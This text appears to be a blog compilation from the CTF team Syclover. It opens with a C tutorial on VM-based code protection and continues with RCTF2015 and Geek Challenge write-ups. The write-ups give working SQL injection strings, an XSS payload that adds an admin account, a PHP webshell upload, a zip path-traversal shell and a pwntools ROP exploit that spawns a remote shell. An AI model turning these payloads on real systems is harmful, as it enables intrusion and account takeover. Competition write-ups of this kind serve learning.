在定义好指令对应的字节码之后,就可以实现一个解释器用来解释上面定义的指令字节码了。在实现虚拟机解释器之前需要先搞清楚我们都要虚拟出一些什么。一个虚拟机其实就是虚拟出一个程序(自定义的字节码)运行的环境,其实这里的虚拟机在解释执行字节码时与我们真实处理器执行很相似。在物理机中的程序都需要一个执行指令的处理器、栈、堆等环境才可以运行起来,所以首当其冲需要虚拟出一个处理器,处理器中需要有一些寄存器来辅助计算,以下是我定义的虚拟处理器

/*
* virtual processor
*/
typedef struct processor_t
{
int r1; // 虚拟寄存器r1
int r2; // 虚拟寄存器r2
int r3; // 虚拟寄存器r3
int r4; // 虚拟寄存器r4

int flag; // 虚拟标志寄存器flag,作用类似于eflags

unsigned char *eip; // 虚拟机寄存器eip,指向正在解释的字节码地址

vm_opcode op_table[OPCODE_NUM]; // 字节码列表,存放了所有字节码与对应的处理函数

} vm_processor;

/*
* opcode struct
*/
typedef struct opcode_t
{
unsigned char opcode; // 字节码
void (*func)(void *); // 与字节码对应的处理函数
} vm_opcode;

上面结构中r1~r4是4个通用寄存器,用来传参数和返回值。eip则指向当前正在执行的字节码地址。op_table中存放了所有字节码指令的处理函数。上面的两个虚拟出的结构就是虚拟机的核心,之后解释器在解释字节码的时候都是围绕着以上两个结构的。因为程序逻辑简单,所以只需要虚拟出一个处理器就可以了,堆和栈都不是必须的。程序中的数据我用了一个buffer来存储,也可以把整个buffer理解成堆或者是栈。
有了上面两个结构之后,就可以来动手写解释器了。解释器的工作其实就是判断当前解释的字节码是否可以解析,如果可以就把相应参数传递给相应的处理函数,让处理函数来解释执行这一条指令。以下是解释器代码

void vm_interp(vm_processor *proc)
{
/* eip指向被保护代码的第一个字节
* target_func + 4是为了跳过编译器生成的函数入口的代码
*/
proc->eip = (unsigned char *) target_func + 4;

// 循环判断eip指向的字节码是否为返回指令,如果不是就调用exec_opcode来解释执行
while (*proc->eip != RET) {
exec_opcode(proc);
}
}

其中target_func是自定义字节码编写的目标函数,是eip指向目标函数的第一个字节,准备解释执行。当碰到RET指令就结束,否则调用exec_opcode执行字节码。以下是exec_opcode代码

void exec_opcode(vm_processor *proc)
{
int flag = 0;
int i = 0;

// 查找eip指向的正在解释的字节码对应的处理函数
while (!flag && i < OPCODE_NUM) {
if (*proc->eip == proc->op_table[i].opcode) {
flag = 1;
// 查找到之后,调用本条指令的处理函数,由处理函数来解释
proc->op_table[i].func((void *) proc);
} else {
i++;
}
}

}

解释字节码时首先判断是哪一个指令需要执行,接着调用它的处理函数。以下是target_func的伪代码。伪代码的逻辑就是首先从标准输入中读取0x12个字节,然后前8位与0x29异或,最后逐位与内存中8个字节比较,全部相同则输出success,失败输出error。以下的代码完全可以改成循环结构来实现,但是这里我偷懒了,全部是复制粘贴。

/*
mov r1, 0x00000000
mov r2, 0x12
call vm_read ; 输入

mov r1, input[0]
mov r2, 0x29
xor r1, r2 ; 异或
cmp r1, flag[0] ; 比较
jnz ERROR ; 如果不相同就跳转到输出错误的代码

; 同上
mov r1, input[1]
xor r1, r2
cmp r1, flag[1]
jnz ERROR

mov r1, input[2]
xor r1, r2
cmp r1, flag[2]
jnz ERROR

mov r1, input[3]
xor r1, r2
cmp r1, flag[3]
jnz ERROR

mov r1, input[4]
xor r1, r2
cmp r1, flag[4]
jnz ERROR

mov r1, input[5]
xor r1, r2
cmp r1, flag[5]
jnz ERROR

mov r1, input[6]
xor r1, r2
cmp r1, flag[6]
jnz ERROR

mov r1, input[7]
xor r1, r2
cmp r1, flag[7]
jnz ERROR
*/

相应处理函数代码在后文的完整代码中。有了以上关键函数,一个简单的虚拟机就可以运行了。在虚拟机中,还可以创建虚拟机堆栈以及更完整的寄存器来丰富虚拟机支持的指令。因为本程序相对简单所以没有用到堆栈,所有参数都通过寄存器传递,或者隐含在字节码中。有兴趣可以自己修改。

解释器解释执行过程
这里就用demo中的第一条字节码做演示来说明虚拟机中解释器解释执行时的过程,首先可以从上面看到解释器vm_interp执行时eip会指向target_func + 4,也就是target_func中内联汇编中定义的第一个字节0xa0,之后会判断eip指向的字节码是否为ret指令,ret指令是0xa3,所以不是eip指向的不是ret,进入exec_opcode函数进行字节码解释。

进入exec_opcode后开始在虚拟处理器的op_table中查找eip指向的字节码,当前就是0xa0,找到之后就调用它的解释函数。


字节码与解释函数的初始化在init_vm_proc中


可以看出0xa0就对应着mov指令,所以当解释器遇到0xa0就会调用vm_mov函数来解释mov指令。

在vm_mov函数中首先把eip + 1处的一个字节和eip + 2处4个字节分别保存在dest和src中,dest是寄存器标识,在后面的switch中判断dest是哪个寄存器,在这个例子中dest是0x10,也就是r1寄存器,在case 0x10分支中就把*src赋值给r1。总体来看,前6个字节就是第一条mov指令,对应着mov r1, xxxx,xxxx就是这6个字节中的后4个,在这个例子中就是0x00000000。

从这个例子中就可以大致了解一个解释器在解释执行字节码时的过程,其实很简单,就是通过一个字节码和解释函数的关系来调用相应的函数,或者通过一个很长的switch来判断每个字节码,并调用相应函数。而解释函数则通过执行相应的操作来模拟出一个指令。最后,把这些指令串联在一起就可以执行完一个完整的逻辑。
代码运行效果

 虚拟机保护效果

静态分析

在静态分析基于虚拟机保护的代码时,一般的工具都是没有效果的,因为字节码都是我们自己定义的,只有解释器能够识别。所以在用ida分析时字节码只是一段不能识别的数据。

这就是ida识别到的target_func的代码,已经做到了对抗静态分析。不过还是可以静态分析我们的解释器,在分析解释器的时候,解释器中的控制流会比源程序的控制流复杂很多,这样也是会增加分析难度。
动态调试

在动态调试的时候字节码依然不能被识别,而且处理器也不会真正的去执行这些不被识别的东西。因为这些字节码都是被我们的虚拟处理器通过解释器执行的,而我们的解释器都是native指令,所以可以静态分析,也可以动态调试。但是动态调试的时候只是在调试解释器,在调试过程中只能看到在不断的调用各个指令的解释函数。所以想要真正还原出源码就需要在调试过程中找到所有字节码对应的native指令的映射关系,最后,通过这个映射关系来把字节码转换成native指令,当然也可以修复出一个完全脱壳并且可以执行的native程序,只是过程会比较繁琐。
完整代码
以下是demo的完整代码,已经在linux中测试通过。

xvm.h

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define OPCODE_NUM 7 // opcode number
#define HEAP_SIZE_MAX 1024

char *heap_buf; // vm heap

/*
* opcode enum
*/
enum OPCODES
{
MOV = 0xa0, // mov 指令字节码对应 0xa0
XOR = 0xa1, // xor 指令字节码对应 0xa1
CMP = 0xa2, // cmp 指令字节码对应 0xa2
RET = 0xa3, // ret 指令字节码对应 0xa3
SYS_READ = 0xa4, // read 系统调用字节码对应 0xa4
SYS_WRITE = 0xa5, // write 系统调用字节码对应 0xa5
JNZ = 0xa6 // jnz 指令字节码对应 0xa0
};

enum REGISTERS
{
R1 = 0x10,
R2 = 0x11,
R3 = 0x12,
R4 = 0x13,
EIP = 0x14,
FLAG = 0x15
};

/*
* opcode struct
*/
typedef struct opcode_t
{
unsigned char opcode; // 字节码
void (*func)(void *); // 与字节码对应的处理函数
} vm_opcode;
/*
* virtual processor
*/
typedef struct processor_t
{
int r1; // 虚拟寄存器r1
int r2; // 虚拟寄存器r2
int r3; // 虚拟寄存器r3
int r4; // 虚拟寄存器r4

int flag; // 虚拟标志寄存器flag,作用类似于eflags

unsigned char *eip; // 虚拟机寄存器eip,指向正在解释的字节码地址

vm_opcode op_table[OPCODE_NUM]; // 字节码列表,存放了所有字节码与对应的处理函数

} vm_processor;

xvm.c

#include "xvm.h"

void target_func()
{
__asm__ __volatile__(".byte 0xa0, 0x10, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x11, 0x12, 0x00, 0x00, 0x00, 0xa4, 0xa0, 0x14, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x11, 0x29, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x20, 0xa6, 0x5b, 0xa0, 0x14, 0x01, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x21, 0xa6, 0x50, 0xa0, 0x14, 0x02, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x22, 0xa6, 0x45, 0xa0, 0x14, 0x03, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x23, 0xa6, 0x3a, 0xa0, 0x14, 0x04, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x24, 0xa6, 0x2f, 0xa0, 0x14, 0x05, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x25, 0xa6, 0x24, 0xa0, 0x14, 0x06, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x26, 0xa6, 0x19, 0xa0, 0x14, 0x07, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x27, 0xa6, 0x0f, 0xa0, 0x10, 0x30, 0x00, 0x00, 0x00, 0xa0, 0x11, 0x09, 0x00, 0x00, 0x00, 0xa5, 0xa3, 0xa0, 0x10, 0x40, 0x00, 0x00, 0x00, 0xa0, 0x11, 0x07, 0x00, 0x00, 0x00, 0xa5, 0xa3");

/*
mov r1, 0x00000000
mov r2, 0x12
call vm_read ; 输入

mov r1, input[0]
mov r2, 0x29
xor r1, r2 ; 异或
cmp r1, flag[0] ; 比较
jnz ERROR ; 如果不相同就跳转到输出错误的代码

; 同上
mov r1, input[1]
xor r1, r2
cmp r1, flag[1]
jnz ERROR

mov r1, input[2]
xor r1, r2
cmp r1, flag[2]
jnz ERROR

mov r1, input[3]
xor r1, r2
cmp r1, flag[3]
jnz ERROR

mov r1, input[4]
xor r1, r2
cmp r1, flag[4]
jnz ERROR

mov r1, input[5]
xor r1, r2
cmp r1, flag[5]
jnz ERROR

mov r1, input[6]
xor r1, r2
cmp r1, flag[6]
jnz ERROR

mov r1, input[7]
xor r1, r2
cmp r1, flag[7]
jnz ERROR
*/
}

/*
* xor 指令解释函数
*/
void vm_xor(vm_processor *proc)
{
// 异或的两个数据分别存放在r1,r2寄存器中
int arg1 = proc->r1;
int arg2 = proc->r2;

// 异或结果存在r1中
proc->r1 = arg1 ^ arg2;

// xor指令只占一个字节,所以解释后,eip向后移动一个字节
proc->eip += 1;
}

/*
* cmp 指令解释函数
*/
void vm_cmp(vm_processor *proc)
{
// 比较的两个数据分别存放在r1和buffer中
int arg1 = proc->r1;、
// 字节码中包含了buffer的偏移
char *arg2 = *(proc->eip + 1) + heap_buf;

// 比较并对flag寄存器置位,1为相等,0为不等
if (arg1 == *arg2) {
proc->flag = 1;
} else {
proc->flag = 0;
}

// cmp指令占两个字节,eip向后移动2个字节
proc->eip += 2;
}

/*
* jnz 指令解释函数
*/
void vm_jnz(vm_processor *proc)
{
// 获取字节码中需要的地址相距eip当前地址的偏移
unsigned char arg1 = *(proc->eip + 1);

// 通过比较flag的值来判断之前指令的结果,如果flag为零说明之前指令不想等,jnz跳转实现
if (proc->flag == 0) {
// 跳转可以直接修改eip,偏移就是上面获取到的偏移
proc->eip += arg1;
} else {
proc->flag = 0;
}

// jnz 指令占2个字节,所以eip向后移动两个字节
proc->eip += 2;
}

/*
* ret 指令解释函数
*/
void vm_ret(vm_processor *proc)
{

}

/*
* read 系统调用解释函数
*/
void vm_read(vm_processor *proc)
{
// read系统调用有两个参数,分别存放在r1,r2寄存器中,r1中是保存读入数据的buf的偏移,r2为希望读入的长度
char *arg2 = heap_buf + proc->r1;
int arg3 = proc->r2;

// 直接调用read
read(0, arg2, arg3);

// read系统调用占1个字节,所以eip向后移动1个字节
proc->eip += 1;
}

/*
* write 系统调用解释函数
*/
void vm_write(vm_processor *proc)
{
// 与read系统调用相同,r1中是保存写出数据的buf的偏移,r2为希望写出的长度
char *arg2 = heap_buf + proc->r1;
int arg3 = proc->r2;

// 直接调用write
write(1, arg2, arg3);

// write系统调用占1个字节,所以eip向后移动1个字节
proc->eip += 1;
}

/*
* mov 指令解释函数
*/
void vm_mov(vm_processor *proc)
{
// mov 指令两个参数都隐含在字节码中了,指令标识后的第一个字节是寄存器的标识,指令标识后的第二到第五个字节是要mov的立即数,目前只实现了mov一个立即数到一个寄存器中和mov一个buffer中的内容到一个r1寄存器
unsigned char *dest = proc->eip + 1;
int *src = (int *) (proc->eip + 2);

// 前4个case分别对应r1~r4,最后一个case中,*src保存的是buffer的一个偏移,实现了把buffer中的一个字节赋值给r1
switch (*dest) {
case 0x10:
proc->r1 = *src;
break;

case 0x11:
proc->r2 = *src;
break;

case 0x12:
proc->r3 = *src;
break;

case 0x13:
proc->r4 = *src;
break;

case 0x14:
proc->r1 = *(heap_buf + *src);
break;
}

// mov指令占6个字节,所以eip向后移动6个字节
proc->eip += 6;
}

/*
* 执行字节码
*/
void exec_opcode(vm_processor *proc)
{
int flag = 0;
int i = 0;

// 查找eip指向的正在解释的字节码对应的处理函数
while (!flag && i < OPCODE_NUM) {
if (*proc->eip == proc->op_table[i].opcode) {
flag = 1;
// 查找到之后,调用本条指令的处理函数,由处理函数来解释
proc->op_table[i].func((void *) proc);
} else {
i++;
}
}

}

/*
* 虚拟机的解释器
*/
void vm_interp(vm_processor *proc)
{
/* eip指向被保护代码的第一个字节
* target_func + 4是为了跳过编译器生成的函数入口的代码
*/
proc->eip = (unsigned char *) target_func + 4;

// 循环判断eip指向的字节码是否为返回指令,如果不是就调用exec_opcode来解释执行
while (*proc->eip != RET) {
exec_opcode(proc);
}
}

/*
* 初始化虚拟机处理器
*/
void init_vm_proc(vm_processor *proc)
{
proc->r1 = 0;
proc->r2 = 0;
proc->r3 = 0;
proc->r4 = 0;
proc->flag = 0;

// 把指令字节码与解释函数关联起来
proc->op_table[0].opcode = MOV;
proc->op_table[0].func = (void (*)(void *)) vm_mov;

proc->op_table[1].opcode = XOR;
proc->op_table[1].func = (void (*)(void *)) vm_xor;

proc->op_table[2].opcode = CMP;
proc->op_table[2].func = (void (*)(void *)) vm_cmp;

proc->op_table[3].opcode = SYS_READ;
proc->op_table[3].func = (void (*)(void *)) vm_read;

proc->op_table[4].opcode = SYS_WRITE;
proc->op_table[4].func = (void (*)(void *)) vm_write;

proc->op_table[5].opcode = RET;
proc->op_table[5].func = (void (*)(void *)) vm_ret;

proc->op_table[6].opcode = JNZ;
proc->op_table[6].func = (void (*)(void *)) vm_jnz;

// 创建buffer
heap_buf = (char *) malloc(HEAP_SIZE_MAX);

// 初始化buffer
memcpy(heap_buf + 0x20, "syclover", 8);
memcpy(heap_buf + 0x30, "success!\n", 9);
memcpy(heap_buf + 0x40, "error!\n", 7);
}
// flag: ZPJEF_L[
int main()
{
vm_processor proc = {0};

// initial vm processor
init_vm_proc(&proc);

// execute target func
vm_interp(&proc);
return 0;
}

 总结
以上程序为学习代码虚拟化之后的总结,其中有很多理解不正确的地方希望大牛指正。这只是最简单的实现,仅用于学习使用,想要深入学习虚拟化技术还是非常复杂,需要积累更多知识才能理解到位,这篇文章就当是抛砖引玉。在学习的过程也有很多问题没有解决,比如:如果想实现一个基于虚拟机的保护壳,必定需要把源程序中的native指令首先转换为自定义字节码,但是不知道用什么方法来转换比较好。

在很多国外文章里也看到另一种虚拟机保护,是基于LLVM-IR的虚拟机保护,有兴趣也可以继续深入研究一下。

参考
www.cs.rhul.ac.uk/home/kinder/papers/wcre12.pdf

RCTF2015-writeup

Team:Syclover

web

upload
看起来是一个上传题,其实这是一个注入题。在文件名的地方存在注入。因为注入点是insert的,如果直接进行报错注入或者延时注入的话会提示sqlinject find。我们可以利用二次注入,来得到数据。通过fuzz发现,在进行insert操作的时候有三个列,所以构造

文件名','uid','uid'),((database()),'uid','uid')

就可以看到回显的数据,然后通过走流程就可以查询出flag,但是有一点要注意题目直接把select from 这些关键字过滤了两次所以得构造这样的selselectect才行。

weeeeeb3

先注册一个帐号,然后找回密码,输入正确的信息。到第二步提示修改新的密码的时候,直接抓包把用户名修改为admin。然后就可以登陆admin这个帐号,然后在manage页面提示 not allow ip 我们把xxf改为127.0.0.1就可以绕过。然后要我们猜action 由于是filemanage就直接猜action=upload 然后就出现一个上传页面,通过一轮fuzz,直接上传一个图片马,在后面写上

<script lanaguage="php"> phpinfo()</script>

把后缀改为php5 就成功拿到了flag。

xss

这是一个留言板,通过fuzz发现过滤了很多标签,除此之外还把on事件直接给过滤了。后面测试发现可以使用link标签,然后使用sctf里面那种方法就可以弹框了。

<link rel="import" href="data:text/html;base64,PHNjcmlwdD5kZWxldGUgYWxlcnQ7YWxlcnQoIkhlbGxvIik7PC9zY3JpcHQ+"<

查看页面的html源码发现

<!--only for admin
<form action="" method="post">
username:<input type="text" name="name"><br />
password:<input type="password" name="pass"><br />
<input type="radio" name="isadmin" value="0">user
<input type="radio" name="isadmin" value="1">admin<br />
<input type="hidden" name="token" value="34a1615ff3eaf616f7fa205a12792d27">
<input type="submit" name="adduser" value="adduser">
</form>-->

很明显啦,就是要添加一个管理帐号帐号,发现页面使用啦jquery直接添加帐号就行。

javascript
<script src=http://180.76.178.54:8004/4b79f5d4860384d4ac494ad91f5313b7/js/jquery.js></script>
<script>
$.ajax({
                               type: "post",
                               url: "",
                               data: "name=tomato123&pass=tomato123&isadmin=1&adduser=adduser&token="+$("input[name=token]").val()})
</script>

然后构造payload

<link rel="import" href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovLzE4MC43Ni4xNzguNTQ6ODAwNC80Yjc5ZjVkNDg2MDM4NGQ0YWM0OTRhZDkxZjUzMTNiNy9qcy9qcXVlcnkuanM+PC9zY3JpcHQ+CjxzY3JpcHQ+CiQuYWpheCh7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAicG9zdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cmw6ICIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YTogIm5hbWU9dG9tYXRvMTIzJnBhc3M9dG9tYXRvMTIzJmlzYWRtaW49MSZhZGR1c2VyPWFkZHVzZXImdG9rZW49IiskKCJpbnB1dFtuYW1lPXRva2VuXSIpLnZhbCgpfSkKPC9zY3JpcHQ+">

添加了一个帐号密码为tomato123的管理员 访问admin.php拿到flag

easysql

注册一个aaa\然后在修改密码的页面可以发现报错

可以看到是双引号,这明显是一个二次注入,然后重新构造语句发现不能含有空格。但是这并不影响,直接用括号代替就行了。

然后爆出一个flag表,查询提示说flag not here,然后去查users里面的列名发现

然后直接去查询里面的内容,发现只能出现RCTF这几个字符,然后就一直在纠结怎么查询,因为测试发现把substring left,right,reverse like 这些都拦截了。后面灵机一动想到了regexp。

username=tomato"||updatexml(0x7c,concat((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^R'))),1)#&password=tomato&email=tomato

然后成功搞定

login

第二天给了提示说是nosql,那就猜是mongodb

那就开始跑密码了。

跑出的帐号密码为

ROIS_ADMIN  pas5woRd_i5_45e2884c4e5b9df49c747e1d

然后登陆一发。


下载备份文件,发现是一个php的解压zip的类,然后百度找到官方提供的,在diff一下

还在html源码里面发现

$Agent = $_SERVER['HTTP_USER_AGENT'];
$backDoor = $_COOKIE['backdoor'];
$msg = json_encode("no privilege");
$iterations = 1000;
$salt = "roisctf";
$alg = "sha1";
$keylen = "20";
if ($Agent == $backDoor || strlen($Agent) != 65) {
    exit($msg);
}
if (substr($Agent,0,23) != "rois_special_user_agent") {
    exit($msg);
}
if (pbkdf2($alg, $Agent, $salt, $iterations, $keylen) != pbkdf2($alg, $backDoor, $salt, $iterations, $keylen)) {
    exit($msg);
}

测试发现直接上传zip提示没有权限,然后只有过了上面三个条件才行。主要是第三个条件不好过,然后google一发 pdkdf2 ctf


找到了这个 PBKDF2+HMAC collision 然后在https://mathiasbynens.be/notes/pbkdf2-hmac
这篇文章里面说到这个是可以碰撞的,就是不同的明文会出现相同的密文,然后用里面提供的脚本跑一发。成功跑出来一个

rois_special_user_agentaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamipvkd

3-Rfm^Bq;ZZAcl]mS&eE `

然后改一下ua,在cookie里面添加backdoor就可以成功上传了。


按照解压出来的文件的命名规则为md5(文件名+RoisFighting).文件的后缀 但是访问http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/upload/image/051ee28a1964f9f2779d32f2e48212cb/70d08f9380da3a6e0440b3266a2a39f6.php 文件并不存在,测试发现在解压后会直接删除文件,所以我们可以尝试构造一个解压到上级目录的shell

shell地址就是 http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/upload/image/382aef24b11f8c5222bc58062a9bf5c7.php

pwn

pwn200

很明显的栈溢出,然后重点是利用… 没给libc,可以先写好leak,用dynelf来获取system的地址,之后构造rop搞定.

from pwn import *
from time import sleep
#p = process('./welpwn_932a4428ea8d4581431502ab7e66ea4b')
context(arch='amd64', os ='linux')
#p = remote('127.0.0.1',6666)
p = remote('180.76.178.48',6666)
elf1 = ELF('./welpwn_932a4428ea8d4581431502ab7e66ea4b') 


got_write = elf1.got['write']
got_read = elf1.got['read']
log.info("got_write = %s" %(hex(got_write)))


addr_echo = 0x40081e
pop_rdi_ret = 0x4008a3
pop4_r12_ret = 0x40089c
pop6_rbx_ret = 0x40089a
s1 = 0x4008c9
call_r12_rbx_8 = 0x400889
mov_rdx_rsi_edi_call = 0x400880


ff = 0 
def leak(address):
    global ff
    p.recvuntil('RCTF\n') 
    payload1 = 0x10*"C" + 0x8*"B" + p64(pop4_r12_ret) 
    payload1 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1) + p64(got_write) + p64(8) + p64(address) + p64(1)  + p64(mov_rdx_rsi_edi_call) 
    #payload1 += p64(0x0)*2 + p64(0x601580) + p64(0x0)*4
    payload1 += 56*"1"
    payload1 += p64(0x4007cd)         #payload1_ret
    p.sendline(payload1)
        
    if ff==0:
        data = p.recv(8)
        ff=1
    else:
        p.recv(0x1b)
        data = p.recv(8)
    
    log.info("%#x => %s" % (address, (data or '').encode('hex')))
    #log.info("get -> %s" %(data)) 
    return data


d = DynELF(leak,elf = ELF('./welpwn_932a4428ea8d4581431502ab7e66ea4b'))
system_addr = d.lookup('system','libc')

log.info("system = %s " %(hex(system_addr)))
#log.info("binsh = %s " %(hex(binsh_addr)) )

#system_addr = 0x7ffff7a60e10
bbs_addr = 0x601260
payload2 = "A"*0x18 + p64(pop4_r12_ret) 
payload2 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1) + p64(got_read) + p64(0x11) + p64(bbs_addr) + p64(0) + p64(mov_rdx_rsi_edi_call) 
payload2 += 56*"\x00"
payload2 += p64(0x4007cd)
#raw_input()
p.sendline(payload2)
sleep(1)
p.sendline("/bin/sh\0"+ p64(system_addr))


payload3 = "A"*0x18 + p64(pop4_r12_ret)
payload3 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1) + p64(bbs_addr+8)  + p64(0) + p64(0) + p64(bbs_addr)  + p64(mov_rdx_rsi_edi_call) 
payload3 += 56*"\x00"
payload3 += p64(0x4007cd)
p.sendline(payload3)

sleep(0.5)
p.interactive()


misc

一个log日志文件,是sqlmap跑注入留下的记录 搜索flag关键字,发现是一个二分法盲注,然后就是提权!=后面的值,解ascii

Re

Re100:

拖进ida,得到如下的反汇编


根据 v2 == 20 ,知道 sub_804867B((int)&unk_8049B80)函数,执行了20次循环,且是对输入的数字进行处理。该函数循环处理的是


将fun_1_1.txt中每行的下标对应的值相加 (函数循环部分)与fun_1_2.txt 中每行的值比较。 来到第二个处理函数


该函数循环中每个下标对应的数值相加(fun_2_1.txt),必须与fun_2_2.txt对对应的下标的数值相等. 最后解出数组的每个下标:得到1111211331146411510105116152015611721353521711828567056288119368412612684369111045120210252210120451011115516533046246233016555111112662204957929247924952206612111378286715128717161716128771528678131114913641001200230033432300320021001364911411151054551365300350056435643550053003136545510515111612056018204368800811440128701144080084368182056012016111713668023806188123761944824310243101944812376618823806801361711181538163060856818564318244375848620437583182418564856830608161531811191719693876116282713250388755829237892378755825038827132116283876969171191。Md5 加密 (32位) 即可得到 flag

Re200

游戏一般都会在一个循环里,不停的刷新界面,判断关卡等,那就找到消息循环函数:
进入标记为黄色的函数,

可以看到,有个为FileName的数组,后面是对他解密。 刚好为flag.txt

我们用Od打开,把EIP定位到这里,让他执行,,最后在目录下,得到flag.txt的文件, 得到flag

Mobile 100

拿到文件首先file一下,可以看到这是一个android backup文件,首先想到的是android backup漏洞。

这里直接用脚本解压,里面有两个目录。下面那个com.example.zi是没有用的,直接看com.example.mybackup。


反编译里面的apk可以看懂大概的逻辑就是读取一个加密过的sqlite的数据库,里面保存有Flag,这个数据库保存在备份目录下,可以通过backup漏洞restore到手机上就可以读取。


不过这里对数据库的所有操作都需要满足


但是这个this.mCursor一开始被赋值为null,所以这些操作都没有用。可以修改smali代码,在入口把这个this.mCursor赋值为


不过我修改完后反编译的apk不能运行,可能是我apktool的问题。所以弄清楚程序的逻辑后我们可以自己写一个读取这个数据库的应用,然后把flag打印出来。

这里的key是原程序的签名。然后把BOOKS.db放到这个应用的目录下,运行就可以看到打印的Flag。

Mobile300

先运行下apk,Toast说这是一个Misc。反编译后看了下逻辑也很简单,apk的代码没有什么用。然后就开始找其他线索。首先在assets目录下可以看到一个abc的文件,用16进制编辑器打开后可以看到dex.035的魔术字,而且这个abc的大小是0x70字节,正好是dex文件头的大小。所以可以确定我们需要修复一个dex文件,这个abc就是dex的文件头。

从dex文件头还可以获得的信息是原dex文件的大小是1395184字节,除去文件头的大小我们还需要1395072字节。在META-INF目录又找到一个y文件,打开后并没有发现有用的信息,先放着。然后是找dex的主体数据,这里我将apk反编译后再回编译,和原apk对比,发现CERT.RSA变小很多,所以打开原apk中的CERT.RSA,果然看到了隐藏的数据。
在文件尾还看到了aes-128-cbc的字符。

把”DEX=”后面的数据抠出来,然后用openssl命令解密。这道题主要就卡在解密这里,开始用的是”Misc@inf0#fjhx11″的16进制作为key,解密出来不对,后来看了tips加了-nosalt,然后用”Misc@inf0#fjhx11″作为key,就可以解密出来了。

解密后的文件大小刚好是1395072字节。将这段数据和dex头拼接起来,反编译失败,估计还需要做修复。又看了下dex头,发现string_ids_size,type_ids_size这些字段都是0,这里可以根据偏移值来得到size,修复成功后再反编译就能成功了。但是又发现MainActivity的OnCreate方法反编译失败,在dex文件中找到这个方法的数据,发现全是0。


再看前面的y文件,发现它的大小正是这个方法的大小。将y中的数据修补回来,再次反编译,就可以看到方法了。


得到Flag:h3ll02_GetfLag。

第六季极客大挑战writeup

Team:Syclover

0x00 Pentest

AAencode
这道题是AAencode+base32 如上所诉,http://utf-8.jp/ 这里可以进行编码和解码,f12也可以,运行后是段base32编码的内容,进行解码即可。

大鲨鱼
将数据包下载到本地,wireshark打开,很容易发现有一个flag.jpeg,扣出来就可以看到flag了。

来来来,写代码
如题所诉,爆破变量名,这里我是用post接收的,写个脚本去爆破就可以了。我将所有选手的代码打包发群里。

Bypass_it
入题所诉,突破上传,只是很简单的过滤了.php后缀(大小写都过滤了),php3,php4,php5都可以上传。上传即可得到flag。
Dede
这道题部署的Dede的最新版,默认配置,目前没有很好用的漏洞,但是我把备份文件放在根目录下,扫目录可以发现web.zip,将其下载下来,可以发现index.php被加了后门,构造URL用菜刀连接就可以了,flag在一个txt里。(本来这题我测试的时候,用我的菜刀是连不起的,所以我本来打算是让大家自己写脚本去连接的,但是不知道为什么你们的菜刀可以连的起。给出原来的解答方案.)

//获取当前目录下的所有文件
$dir="./";
$file=scandir($dir);
print_r($file);
//获取文件内容
file_get_contents(xxx.txt);

小彩蛋(一)
Flag是隐藏在css里面
http://geek.sycsec.com/assets/default/css//jk.min.css

Asp你会吗?

题目中提示是这个木马的密码,除了正常的一个syclover,应该还有一个是后门密码,然后用asp解密解一下
http://www.dheart.net/decode/index.php

因为前面正常密码的变量是UserPass,后门密码也会赋值到这个变量,然后搜索一下UserPass,拿到flag

Sqli1
一个去年的原题,啥都没有做,直接可以拉到工具里面跑

看下源代码得到参数为uid=
然后直接放sqlmap里面去跑

Sqli2
这题是一道宽字节注入,过滤了%df,参数和上一题一样的,是uid
可以使用tamper的脚本来进行自定义的注入攻击,这里面有个叫做unmagicquotes,就是提供的宽字节注入,sqlmap跑一发,拿到flag

 

Sqli3

首先是一个图片,txt打开后,发现尾部追加了数据

Lalala是参数
然后这题有一个小小的过滤,过滤了一些空格,需要黑盒测试得到,比如%a0,/*a*/等等一些可以绕过这个。
通过扫描网站可以得到一个www.zip(看到挺多人没扫描也测试出来了)

function filtrate($str)
{
/**
* 此处省略
*/
}

$link = mysql_connect('localhost','xxx','xxx');
if(!$link){
die('error'.mysql_error());
}
mysql_select_db('sql3',$link) or die ('cannot use database'.mysql_error());

if(isset($_GET['uid'])){
$uid = filtrate($_GET['uid']);
$sql = "select content from content where id=1 order by id limit 0,$uid";
}
else{
echo "Nothing!";
exit();
}
$result = @mysql_query($sql);
echo mysql_error();
while ($row = @mysql_fetch_row($result)) {
echo $row[0];
}
@mysql_free_result($result);
@mysql_close($link);

通过那个sql语句就可以知道,这是一个limit前有order by的一个注入
于是手注得到版本信息。
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1/*a*/PROCEDURE/*a*/ANALYSE(extractvalue(1,concat(0x7e,version())),1)

这里要对大家表示抱歉,由于服务器搭建的数据库版本高了点,导致题目有些bug,后面修复后,不知道为什么最后几天数据库好像自动升级了…然后后面就没弄了。
![]

所以最后爆出flag的payload
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1/*a*/PROCEDURE/*a*/ANALYSE(extractvalue(1,concat(0x7e,(select(flag)from(`%23flag_this`)))),1)

http_
只要观察http header很容易就可以找到flag,看http header的方式可以是通过抓包工具来看包,还可以直接浏览器的f12看网络分析

Vous ferez Fran?ais
你会法语么?Accept-Language用来告诉服务器浏览器支持什么样的语言。只要抓包修改Accept-Language,加入代表法语的fr-FR再把包发出去就可以拿到flag

小明一
